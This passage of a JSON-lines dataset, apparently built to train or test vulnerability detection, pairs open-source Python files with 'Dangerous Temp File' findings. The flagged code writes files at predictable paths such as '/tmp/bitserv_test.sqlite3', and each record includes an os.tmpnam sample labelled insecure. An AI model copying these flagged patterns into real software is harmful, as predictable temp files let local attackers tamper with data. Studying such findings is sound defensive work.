l)\n exponent += label_exponent\n return None, exponent\n\n if op == operators.FIXPOINT_OP:\n return None, 0\n if op not in _FILTER_OPERATORS:\n return None, None\n\n bound = label.bound\n datatype = type(bound)\n\n if datatype is IntegerInterval:\n if bound.is_top():\n return datatype, flopoco.wi_max\n if bound.is_bottom():\n return datatype, flopoco.wi_min\n bound_max = max(abs(bound.min), abs(bound.max), 1)\n width_max = int(math.ceil(math.log(bound_max + 1, 2)) + 1)\n return datatype, width_max\n\n if datatype is ErrorSemantics:\n bound = bound.v\n if bound.is_top():\n return datatype, flopoco.we_max\n if bound.is_bottom():\n return datatype, flopoco.we_min\n bound_max = max(abs(bound.min), abs(bound.max), 1)\n try:\n exp_max = math.floor(math.log(bound_max, 2))\n except OverflowError:\n return datatype, flopoco.we_max\n try:\n exponent = int(math.ceil(math.log(exp_max + 1, 2) + 1))\n return datatype, max(exponent, flopoco.we_min)\n except ValueError:\n return datatype, flopoco.we_min\n\n raise TypeError('Unrecognized type of bound {!r}'.format(bound))", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 85, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badlib", "params": {"arg0": "tempfile.mktemp"}}]}} {"id": "ecb4f2b670a39a66f7420683f3623adfbd1a3c85261d52819b73fd95746dc343", "license": {"spdx": ["MIT"], "repo": "KartikaySrivadtava/dl-for-har-ea1e9babb2b178cc338dbc72db974325c193c781", "path": "misc/osutils.py", "repo_head_hexsha": "f4fa436000a46df80ec083c8e3692cd21787e5b3", "stack_hexsha": "a6f54e48526554985a473b45ed63c07b4e9862ba", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 18, "entireCode": "from __future__ import absolute_import\nimport os\nimport errno\n\nimport numpy as np\n\n\ndef mkdir_if_missing(dir_path):\n try:\n os.makedirs(dir_path)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n\n\ndef get_free_gpu():\n os.system('nvidia-smi -q -d Memory |grep -A4 GPU|grep Free >tmp')\n memory_available = [int(x.split()[2]) for x in open('tmp', 'r').readlines()]\n print('Assigning workflow to GPU: ' + str(np.argmax(memory_available)))\n return np.argmax(memory_available)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 18, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "012058e0b8841f60f20e3f5a3117ed8c79e136d6c1fbd8a628797ad4d9c690ce", "license": {"spdx": ["BSD-2-Clause-FreeBSD"], "repo": "febuiles/two1-python", "path": "tests/bitserv/test_channels.py", "repo_head_hexsha": "88704487dba7715f97a0980781d4c0efb2ea7fc4", "stack_hexsha": "3403e8075fdfc60c6582826c725d9cc68e94658b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 346, "entireCode": "\"\"\"Tests for payment channel functionality.\"\"\"\nimport time\nimport codecs\nimport pytest\nimport collections\nimport multiprocessing\n\nimport two1.bitcoin.utils as utils\nfrom two1.bitcoin import Script, Hash\nfrom two1.bitcoin import PrivateKey\nfrom two1.bitcoin import Transaction, TransactionInput, TransactionOutput\nfrom two1.channels.statemachine import PaymentChannelRedeemScript\nfrom two1.bitserv.payment_server import PaymentServer, PaymentServerError\nfrom two1.bitserv.payment_server import PaymentChannelNotFoundError\nfrom two1.bitserv.payment_server import TransactionVerificationError\nfrom two1.bitserv.payment_server import BadTransactionError\nfrom two1.bitserv.models import DatabaseSQLite3, ChannelSQLite3\n\n\nclass MockTwo1Wallet:\n\n \"\"\"Wallet to mock two1 wallet functions in a test environment.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize the mock wallet with a private key.\"\"\"\n self._private_key = PrivateKey.from_random()\n self.testnet = False\n\n def get_payout_public_key(self, account='default'):\n \"\"\"Return the public key associated with the private key.\"\"\"\n return self._private_key.public_key\n\n def get_private_for_public(self, public_key):\n \"\"\"Get this private key for this public key.\"\"\"\n if public_key.to_hex() == self._private_key.public_key.to_hex():\n return self._private_key\n else:\n return None\n\n def create_deposit_tx(self, hash160):\n \"\"\"Return a mocked deposit transaction.\"\"\"\n utxo_script_sig = Script.build_p2pkh(self._private_key.public_key.hash160())\n inp = TransactionInput(\n outpoint=Hash('0' * 64), outpoint_index=0, script=utxo_script_sig, sequence_num=0xffffffff)\n out = TransactionOutput(value=100000, script=Script.build_p2sh(hash160))\n txn = Transaction(version=Transaction.DEFAULT_TRANSACTION_VERSION, inputs=[inp], outputs=[out], lock_time=0)\n txn.sign_input(\n input_index=0, hash_type=Transaction.SIG_HASH_ALL, private_key=self._private_key,\n sub_script=utxo_script_sig)\n return txn\n\n def create_payment_tx(self, deposit_tx, redeem_script, merchant_public_key,\n customer_public_key, amount, fee):\n # Find P2SH output index in deposit_tx\n deposit_utxo_index = deposit_tx.output_index_for_address(redeem_script.hash160())\n\n # Look up deposit amount\n deposit_amount = deposit_tx.outputs[deposit_utxo_index].value - fee\n\n # Build unsigned payment transaction\n script_sig = Script()\n inp = TransactionInput(deposit_tx.hash, deposit_utxo_index, script_sig, 0xffffffff)\n out1 = TransactionOutput(amount, Script.build_p2pkh(merchant_public_key.hash160()))\n out2 = TransactionOutput(deposit_amount - amount, Script.build_p2pkh(customer_public_key.hash160()))\n payment_tx = Transaction(1, [inp], [out1, out2], 0x0)\n\n # Sign payment transaction\n public_key = redeem_script.customer_public_key\n private_key = self.get_private_for_public(public_key)\n sig = payment_tx.get_signature_for_input(0, Transaction.SIG_HASH_ALL, private_key, redeem_script)[0]\n\n # Update input script sig\n script_sig = Script(\n [sig.to_der() + utils.pack_compact_int(Transaction.SIG_HASH_ALL), 'OP_1', bytes(redeem_script)])\n payment_tx.inputs[0].script = script_sig\n\n return payment_tx\n\n\nclass MockBlockchain:\n\n def broadcast_tx(self, tx):\n pass\n\n def lookup_spend_txid(self, txid, output_index):\n return None\n\n def check_confirmed(self, txid, num_confirmations=1):\n return True\n\n\ndef mock_lookup_spent_txid(self, txid, output_index):\n return txid\n\n###############################################################################\n\nClientVals = collections.namedtuple('ClientVals', ['deposit_tx', 'payment_tx', 'redeem_script'])\nTEST_DEP_AMOUNT = 100000\nTEST_DUST_AMOUNT = 1\nTEST_PMT_AMOUNT = 5000\nTEST_FEE_AMOUNT = 10000\nTEST_EXPIRY = 86400\ncust_wallet = MockTwo1Wallet()\nmerch_wallet = MockTwo1Wallet()\nBAD_SIGNATURE = codecs.encode(cust_wallet._private_key.sign('fake').to_der(), 'hex_codec')\nchannel_server = PaymentServer(merch_wallet, testnet=True)\nchannel_server._blockchain = MockBlockchain()\n\n\ndef _create_client_txs():\n \"\"\"Mock client transactions for opening a channel.\"\"\"\n # Collect public keys\n expiration_time = int(time.time() + TEST_EXPIRY)\n customer_public_key = cust_wallet.get_payout_public_key()\n merchant_public_key = merch_wallet.get_payout_public_key()\n\n # Build redeem script\n redeem_script = PaymentChannelRedeemScript(\n merchant_public_key, customer_public_key, expiration_time)\n\n # Build deposit tx\n deposit_tx = cust_wallet.create_deposit_tx(redeem_script.hash160())\n\n # Build payment tx\n payment_tx = cust_wallet.create_payment_tx(\n deposit_tx, redeem_script, merchant_public_key,\n customer_public_key, TEST_PMT_AMOUNT, TEST_FEE_AMOUNT)\n\n return ClientVals(deposit_tx.to_hex(), payment_tx.to_hex(), redeem_script.to_hex())\n\n\ndef _create_client_payment(client, num):\n \"\"\"Mock client transaction for a payment in a channel.\"\"\"\n customer_public_key = cust_wallet.get_payout_public_key()\n merchant_public_key = merch_wallet.get_payout_public_key()\n deposit_tx = Transaction.from_hex(client.deposit_tx)\n redeem_script = PaymentChannelRedeemScript.from_bytes(codecs.decode(client.redeem_script, 'hex_codec'))\n return cust_wallet.create_payment_tx(\n deposit_tx, redeem_script, merchant_public_key, customer_public_key,\n TEST_PMT_AMOUNT * num, TEST_FEE_AMOUNT).to_hex()\n\n\ndef test_identify():\n \"\"\"Test ability to identify a payment server.\"\"\"\n channel_server._db = DatabaseSQLite3(':memory:', db_dir='')\n pc_config = channel_server.identify()\n merchant_public_key = pc_config['public_key']\n test_public_key = codecs.encode(\n merch_wallet._private_key.public_key.compressed_bytes,\n 'hex_codec').decode('utf-8')\n assert merchant_public_key == test_public_key\n assert pc_config['version'] == channel_server.PROTOCOL_VERSION\n assert pc_config['zeroconf'] is False\n\n\ndef test_channel_server_open():\n \"\"\"Test ability to open a payment channel.\"\"\"\n channel_server._db = DatabaseSQLite3(':memory:', db_dir='')\n test_client = _create_client_txs()\n\n # Initialize the handshake and ensure that it returns sucessfully\n channel_server.open(test_client.deposit_tx, test_client.redeem_script)\n\n # Test for handshake failure when using the same refund twice\n with pytest.raises(PaymentServerError):\n channel_server.open(test_client.deposit_tx, test_client.redeem_script)\n\n\ndef test_receive_payment():\n \"\"\"Test ability to receive a payment within a channel.\"\"\"\n channel_server._db = DatabaseSQLite3(':memory:', db_dir='')\n test_client = _create_client_txs()\n\n # Test that payment receipt fails when no channel exists\n with pytest.raises(PaymentChannelNotFoundError):\n channel_server.receive_payment('fake', test_client.payment_tx)\n\n # Initiate and complete the payment channel handshake\n deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script)\n\n # Test that payment receipt succeeds\n channel_server.receive_payment(deposit_txid, test_client.payment_tx)\n\n # Test that payment receipt fails with a duplicate payment\n with pytest.raises(PaymentServerError):\n channel_server.receive_payment(deposit_txid, test_client.payment_tx)\n\n\ndef test_redeem_payment():\n \"\"\"Test ability to redeem a payment made within a channel.\"\"\"\n channel_server._db = DatabaseSQLite3(':memory:', db_dir='')\n test_client = _create_client_txs()\n\n # Test that payment redeem fails when no channel exists\n with pytest.raises(PaymentChannelNotFoundError):\n channel_server.redeem('fake')\n\n # Test that payment redeem succeeds\n deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script)\n payment_txid = channel_server.receive_payment(deposit_txid, test_client.payment_tx)\n\n amount = channel_server.redeem(payment_txid)\n assert amount == TEST_PMT_AMOUNT\n\n # Test that payment redeem fails with a duplicate payment\n with pytest.raises(PaymentServerError):\n channel_server.redeem(payment_txid)\n\n\ndef test_status_close_channel():\n \"\"\"Test ability to get a channel's status and close it.\"\"\"\n channel_server._db = DatabaseSQLite3(':memory:', db_dir='')\n test_client = _create_client_txs()\n\n # Test that channel close fails when no channel exists\n with pytest.raises(PaymentChannelNotFoundError):\n channel_server.close('fake', BAD_SIGNATURE)\n\n # Open the channel and make a payment\n deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script)\n payment_txid = channel_server.receive_payment(deposit_txid, test_client.payment_tx)\n channel_server.redeem(payment_txid)\n\n # Test that channel close fails without a valid signature\n with pytest.raises(TransactionVerificationError):\n closed = channel_server.close(deposit_txid, BAD_SIGNATURE)\n\n # Test that channel close succeeds\n good_signature = codecs.encode(cust_wallet._private_key.sign(deposit_txid).to_der(), 'hex_codec')\n closed = channel_server.close(deposit_txid, good_signature)\n assert closed\n\n\ndef test_channel_sync(monkeypatch):\n \"\"\"Test ability to sync the status of all channels.\"\"\"\n channel_server._db = DatabaseSQLite3(':memory:', db_dir='')\n\n # Seed the database with activity in Channel A\n test_client_a = _create_client_txs()\n deposit_txid_a = channel_server.open(test_client_a.deposit_tx, test_client_a.redeem_script)\n payment_txid = channel_server.receive_payment(deposit_txid_a, test_client_a.payment_tx)\n amount = channel_server.redeem(payment_txid)\n assert amount == TEST_PMT_AMOUNT\n\n # Seed the database with activity in Channel B\n cust_wallet._private_key = PrivateKey.from_random()\n test_client_b = _create_client_txs()\n deposit_txid_b = channel_server.open(test_client_b.deposit_tx, test_client_b.redeem_script)\n payment_txid = channel_server.receive_payment(deposit_txid_b, test_client_b.payment_tx)\n amount = channel_server.redeem(payment_txid)\n payment_tx1 = _create_client_payment(test_client_b, 2)\n payment_tx2 = _create_client_payment(test_client_b, 3)\n payment_tx3 = _create_client_payment(test_client_b, 4)\n payment_txid1 = channel_server.receive_payment(deposit_txid_b, payment_tx1)\n payment_txid2 = channel_server.receive_payment(deposit_txid_b, payment_tx2)\n payment_txid3 = channel_server.receive_payment(deposit_txid_b, payment_tx3)\n amount1 = channel_server.redeem(payment_txid1)\n amount2 = channel_server.redeem(payment_txid3)\n amount3 = channel_server.redeem(payment_txid2)\n assert amount1 == TEST_PMT_AMOUNT\n assert amount2 == TEST_PMT_AMOUNT\n assert amount3 == TEST_PMT_AMOUNT\n\n # Both channels should be `ready` since our channel is zeroconf by default\n channels = channel_server._db.pc.lookup()\n assert channels, 'Channel lookup with no args should return a list of all channels.'\n for channel in channels:\n assert channel.state == ChannelSQLite3.READY, 'Channel should be READY.'\n\n # Change Channel A to `confirming` for testing purposes\n channel_server._db.pc.update_state(deposit_txid_a, ChannelSQLite3.CONFIRMING)\n test_state = channel_server._db.pc.lookup(deposit_txid_a).state\n assert test_state == ChannelSQLite3.CONFIRMING, 'Channel should be CONFIRMING'\n\n # Change Channel B's expiration to be very close to allowable expiration\n new_expiry = int(time.time() + 3600)\n update = 'UPDATE payment_channel SET expires_at=? WHERE deposit_txid=?'\n channel_server._db.pc.c.execute(update, (new_expiry, deposit_txid_b))\n channel_server._db.pc.c.connection.commit()\n test_expiry = channel_server._db.pc.lookup(deposit_txid_b).expires_at\n assert test_expiry == new_expiry, 'Channel should closing soon.'\n\n # Sync all of the server's payment channels\n channel_server.sync()\n\n # Test that Channel A is `ready` after a sync\n test_state = channel_server._db.pc.lookup(deposit_txid_a).state\n assert test_state == ChannelSQLite3.READY, 'Channel should be READY'\n\n # Test that Channel B is `closed` after a sync\n test_state = channel_server._db.pc.lookup(deposit_txid_b).state\n assert test_state == ChannelSQLite3.CLOSED, 'Channel should be CLOSED'\n\n # Test that Channel B payment is fully signed after a sync\n test_payment = channel_server._db.pc.lookup(deposit_txid_b).payment_tx\n goodsig_1 = Script.validate_template(test_payment.inputs[0].script, [bytes, bytes, 'OP_1', bytes])\n goodsig_true = Script.validate_template(test_payment.inputs[0].script, [bytes, bytes, 'OP_TRUE', bytes])\n assert goodsig_1 or goodsig_true, 'Payment should be in a fully signed format'\n\n # Test that Channel A remains `ready` after another sync\n channel_server.sync()\n test_state = channel_server._db.pc.lookup(deposit_txid_a).state\n assert test_state == ChannelSQLite3.READY, 'Channel should be READY'\n\n # Modify `lookup_spend_txid` to return a txid, as if the tx were spent\n monkeypatch.setattr(MockBlockchain, 'lookup_spend_txid', mock_lookup_spent_txid)\n\n # Test that Channel A is `closed` after a sync where it finds a spent txid\n channel_server.sync()\n test_state = channel_server._db.pc.lookup(deposit_txid_a).state\n assert test_state == ChannelSQLite3.CLOSED, 'Channel should be CLOSED'\n\n\ndef test_channel_low_balance_message():\n \"\"\"Test that the channel server returns a useful error when the balance is low.\"\"\"\n channel_server._db = DatabaseSQLite3(':memory:', db_dir='')\n test_client = _create_client_txs()\n\n # Open the channel and make a payment\n deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script)\n payment_txid = channel_server.receive_payment(deposit_txid, test_client.payment_tx)\n channel_server.redeem(payment_txid)\n\n # Create a payment that almost completely drains the channel\n payment_tx2 = _create_client_payment(test_client, 17)\n payment_txid2 = channel_server.receive_payment(deposit_txid, payment_tx2)\n channel_server.redeem(payment_txid2)\n\n # Make a payment that spends more than the remaining channel balance\n payment_tx3 = _create_client_payment(test_client, 18)\n with pytest.raises(BadTransactionError) as exc:\n channel_server.receive_payment(deposit_txid, payment_tx3)\n\n assert 'Payment channel balance' in str(exc)\n\n # Test that channel close succeeds\n good_signature = codecs.encode(cust_wallet._private_key.sign(deposit_txid).to_der(), 'hex_codec')\n closed = channel_server.close(deposit_txid, good_signature)\n assert closed\n\n\ndef test_channel_redeem_race_condition():\n \"\"\"Test ability lock multiprocess redeems.\"\"\"\n # Clear test database\n multiprocess_db = '/tmp/bitserv_test.sqlite3'\n with open(multiprocess_db, 'w') as f:\n f.write('')\n\n # Initialize test vectors\n channel_server._db = DatabaseSQLite3(multiprocess_db)\n test_client = _create_client_txs()\n deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script)\n payment_txid = channel_server.receive_payment(deposit_txid, test_client.payment_tx)\n\n # Cache channel result for later\n channel = channel_server._db.pc.lookup(deposit_txid)\n\n # This is a function that takes a long time\n def delayed_pc_lookup(deposit_txid):\n time.sleep(0.5)\n return channel\n\n # This is the normal function\n def normal_pc_lookup(deposit_txid):\n return channel\n\n # This function is called between the first lookup and the final record update\n # We make sure this function takes extra long the first time its called\n # in order to expose the race condition\n channel_server._db.pc.lookup = delayed_pc_lookup\n\n # Start the first redeem in its own process and allow time to begin\n p = multiprocessing.Process(target=channel_server.redeem, args=(payment_txid,))\n p.start()\n time.sleep(0.1)\n\n # After starting the first redeem, reset the function to take a normal amount of time\n channel_server._db.pc.lookup = normal_pc_lookup\n\n # To test the race, this redeem is called while the other redeem is still in-process\n # Because this call makes it to the final database update first, it should be successful\n channel_server.redeem(payment_txid)\n\n # The multiprocess redeem is intentionally made slow, and will finish after the redeem above\n # Because of this, the multiprocess redeem should throw and exception and exit with an error\n p.join()\n assert p.exitcode == 1", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 346, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "a63f217dcd152b803cffb1d52a3034c25e05830f56b028af1ae2407c61ec99b6", "license": {"spdx": ["MIT"], "repo": "alueschow/polymatheia", "path": "tests/data_tests/reader_tests/xml_reader_test.py", "repo_head_hexsha": "e46a38b3686139bbab3a2fcfaa914d4ca938654e", "stack_hexsha": "bd5ad1d9dd6aa831be0892ccf5368adc8aa6f5ef", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 28, "entireCode": "\"\"\"Test the :class:`~polymatheia.data.reader.LocalReader`.\"\"\"\nimport os\nimport pytest\n\nfrom lxml.etree import XMLSyntaxError\n\nfrom polymatheia.data.reader import XMLReader\n\n\ndef test_xml_reader():\n \"\"\"Test that the XML local reading works.\"\"\"\n count = 0\n for record in XMLReader('tests/fixtures/xml_reader_test'):\n assert record\n assert record.id\n assert record.name.first\n assert record.name.last\n assert record.age\n if record.id == '1':\n assert len(record.name.first) == 2\n assert record['special-tags']\n count = count + 1\n assert count == 3\n\n\ndef test_xml_reader_removed_file():\n \"\"\"Test that the XML reader aborts on missing files.\"\"\"\n with open('tests/fixtures/xml_reader_test/temp.xml', 'w') as _:\n pass\n reader = XMLReader('tests/fixtures/xml_reader_test')\n os.unlink('tests/fixtures/xml_reader_test/temp.xml')\n with pytest.raises(FileNotFoundError):\n for record in reader:\n assert record\n\n\ndef test_xml_reader_invalid_file():\n \"\"\"Test that the XML reader aborts on invalid files.\"\"\"\n with pytest.raises(XMLSyntaxError):\n for record in XMLReader('tests/fixtures/xml_reader_invalid_test'):\n assert record", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 28, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "e33524ffb7ce8398dc1128a3808688ffc86d6a3b0988cb72c6bff3083c8f17a1", "license": {"spdx": ["CC0-1.0"], "repo": "suibex/fleonSide", "path": "data/worker.py", "repo_head_hexsha": "6bdf3b1cc2893984f7bff6715ec333e9c2cfcbae", "stack_hexsha": "2e6006e584a17825353e404af334a6f750425bb8", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 46, "entireCode": "import threading \nimport os\nimport obd\nfrom random import random\nfrom pathlib import Path\n\n\n \n\nconn = obd.OBD()\nconnect = obd.Async(fast=False)\n\n\nspeed=\"\"\nfueli=\"\"\ntem =\"\"\n\ndef get_temp(t):\n \n if not t.is_null():\n tem=str(t.value)\n if t.is_null():\n tem=str(0)\ndef get_fuel(f):\n \n if not f.is_null():\n fueli=str(f.value)\n if f.is_null():\n fueli= str(0)\n\n\n\ndef get_speed(s):\n \n if not s.is_null():\n speed = str(s.value)\n if s.is_null():\n speed = str(0)\n\nconnect.watch(obd.commands.INTAKE_TEMP,callback=get_temp)\nconnect.watch(obd.commands.FUEL_LEVEL,callback=get_fuel)\nconnect.watch(obd.commands.SPEED,callback=get_speed)\n\n\nwhile True:\n tempz = open(\"temp.txt\",\"w+\")\n fuel1 = open(\"fuel.txt\",\"w+\")\n speed1 = open(\"speed.txt\",\"w+\")\n\n speed1.write(speed)\n tempz.write(tem)\n fuel1.write(fueli)\n \n print(speed)\n\n\n ", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 46, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "ccee2c884749a0878c75fb03213325b817757c6a2670f9d6c5a7ac6af338dde7", "license": {"spdx": ["MIT"], "repo": "sspbft/sspbft-template", "path": "tests/unit_tests/test_config.py", "repo_head_hexsha": "894967f003c42111737b29398935514446d00a42", "stack_hexsha": "99816183077905edc8336bb93429867821a7ec88", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 9, "entireCode": "import unittest\nimport os\nfrom conf import config\n\nclass TestConfig(unittest.TestCase):\n def test_config_can_parse_nodes_txt(self):\n s = \"0,localhost,127.0.0.1,5000\\n1,localhost,127.0.0.1,5001\\n\"\n path = \"conf/tmp.txt\"\n with open(path, \"w\") as f:\n f.write(s)\n hosts = config.get_nodes(hosts_path=path)\n self.assertEqual(len(hosts.values()), 2)\n self.assertEqual(hosts[0].id, 0)\n self.assertEqual(hosts[0].hostname, \"localhost\")\n self.assertEqual(hosts[0].ip, \"127.0.0.1\")\n self.assertEqual(hosts[0].port, 5000)\n self.assertEqual(hosts[1].id, 1)\n os.remove(path)\n\nif __name__ == '__main__':\n unittest.main()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "57e2c155a7b3a8890007acd9f990896af2b59ff46c54024e83932cb261f533a1", "license": {"spdx": ["MIT"], "repo": "peterdavidfagan/waymo-object-detection", "path": "cs329s_waymo_object_detection/utils/train_utils.py", "repo_head_hexsha": "11462eebe3305427bb1a62cf94ca67a6a9882648", "stack_hexsha": "304f869a63a7210490cd6c2ae5d59c68c1c940cd", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 163, "entireCode": "import sys\nimport os\nimport numpy as np\n\nimport torchvision\nfrom torchvision.models.detection.faster_rcnn import FastRCNNPredictor\nfrom torchvision.models.detection import FasterRCNN\nfrom torchvision.models.detection.rpn import AnchorGenerator\n\nimport wandb\n\nimport json\nfrom cs329s_waymo_object_detection.utils.gcp_utils import download_blob, upload_blob\nimport os\n\n\ndef collate_fn(batch):\n return tuple(zip(*batch))\n\ndef get_fast_rcnn(num_classes):\n model = torchvision.models.detection.fasterrcnn_resnet50_fpn(pretrained=True)\n in_features = model.roi_heads.box_predictor.cls_score.in_features\n model.roi_heads.box_predictor = FastRCNNPredictor(in_features, num_classes)\n\n return model\n\n\ndef get_custom_backbone_fast_rcnn(num_classes):\n backbone = torchvision.models.mobilenet_v2(pretrained=True).features\n backbone.out_channels = 1280\n anchor_generator = AnchorGenerator(sizes=((32, 64, 128, 256, 512),),\n aspect_ratios=((0.5, 1.0, 2.0),))\n roi_pooler = torchvision.ops.MultiScaleRoIAlign(featmap_names=['0'],\n output_size=7,\n sampling_ratio=4)\n model = FasterRCNN(backbone,\n num_classes=num_classes,\n rpn_anchor_generator=anchor_generator,\n box_roi_pool=roi_pooler)\n\n return model\n\n\n\n\n\ndef track_metrics(loss, classifier_loss, box_reg_loss, objectness_loss, rpn_loss, epoch):\n print('\\n')\n print('################################################')\n print('Epoch_{}'.format(epoch))\n print('################################################')\n print('loss: {}'.format(loss))\n print('classifier_loss: {}'.format(classifier_loss))\n print('box_reg_loss: {}'.format(box_reg_loss))\n print('objectness_loss: {}'.format(objectness_loss))\n print('rpn_loss: {}'.format(rpn_loss))\n print('\\n')\n\n wandb.log({'loss':loss})\n wandb.log({'classifier_loss':classifier_loss})\n wandb.log({'box_reg_loss':box_reg_loss})\n wandb.log({'objectness_loss':objectness_loss})\n wandb.log({'rpn_loss':rpn_loss})\n\n\ndef classify_record(pred_label, gt_label, iou, iou_thresh):\n if pred_label==gt_label:\n if iou >= iou_thresh:\n return 'TP'\n else:\n return 'FP'\n else:\n if iou >= iou_thresh:\n return 'FN' \n else:\n return 'TN'\n\n\ndef calc_precision_recall(eval_df, label, iou_thresh):\n try:\n tmp_df = eval_df[eval_df['gt_label']==label]\n tmp_df = tmp_df.sort_values(by='confidence_score', ascending=False).reset_index(drop=True)\n total_positives = tmp_df.shape[0]\n tmp_df['classification'] = tmp_df.apply(lambda x: classify_record(x['pred_label'], x['gt_label'], x['iou'], 0.5), axis=1)\n\n precision = []\n recall = []\n counts = {'TP':0,'FP':0,'TN':0,'FN':0}\n for classification in list(tmp_df['classification']):\n counts[classification] +=1\n precision.append(counts['TP']/(counts['TP']+counts['FP']))\n recall.append(counts['TP']/total_positives)\n\n return precision, recall\n except:\n return None, None\n\n\ndef bb_intersection_over_union(boxA, boxB):\n # determine the (x, y)-coordinates of the intersection rectangle\n xA = max(boxA[0], boxB[0])\n yA = max(boxA[1], boxB[1])\n xB = min(boxA[2], boxB[2])\n yB = min(boxA[3], boxB[3])\n\n # compute the area of intersection rectangle\n interArea = abs(max((xB - xA, 0)) * max((yB - yA), 0))\n if interArea == 0:\n return 0\n # compute the area of both the prediction and ground-truth\n # rectangles\n boxAArea = abs((boxA[2] - boxA[0]) * (boxA[3] - boxA[1]))\n boxBArea = abs((boxB[2] - boxB[0]) * (boxB[3] - boxB[1]))\n\n # compute the intersection over union by taking the intersection\n # area and dividing it by the sum of prediction + ground-truth\n # areas - the interesection area\n iou = interArea / float(boxAArea + boxBArea - interArea)\n\n # return the intersection over union value\n return iou\n\n\ndef concatenateJSON(paths, mount_dir, write_path, gcp_bucket=\"waymo-processed\"):\n \"\"\"\n :param paths: list of annotation file paths to concatenate\n :return: gcp path containing JSON concatenatation of input annotation files\n\n *** assuming bucket is waymo-processed 